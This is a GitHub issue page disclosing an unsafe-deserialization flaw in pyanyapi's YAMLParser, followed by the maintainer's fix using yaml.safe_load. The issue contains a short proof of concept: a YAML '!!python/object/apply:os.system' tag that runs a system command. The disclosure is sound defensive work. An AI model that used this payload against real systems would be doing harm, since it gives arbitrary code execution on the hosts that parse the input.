Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

YAMLParser method is vulnerable #41

Closed
Joel-MalwareBenchmark opened this issue Nov 7, 2017 · 2 comments
Closed

YAMLParser method is vulnerable #41

Joel-MalwareBenchmark opened this issue Nov 7, 2017 · 2 comments

Comments

@Joel-MalwareBenchmark
Copy link

from pyanyapi import YAMLParser
YAMLParser({'test': 'container > test'}).parse('!!python/object/apply:os.system ["calc.exe"]').test

Hi, there is a vulnerability in YAMLParser method in Interfaces.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

@Stranger6667
Copy link
Owner

Hello!
Thank you for the report! Yeah, yaml.load should be replaced with yaml.safe_load. I'll make the change and issue a new version today.

Kind Regards

Stranger6667 added a commit that referenced this issue Nov 7, 2017
@Stranger6667
Copy link
Owner

Release is on PyPI

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants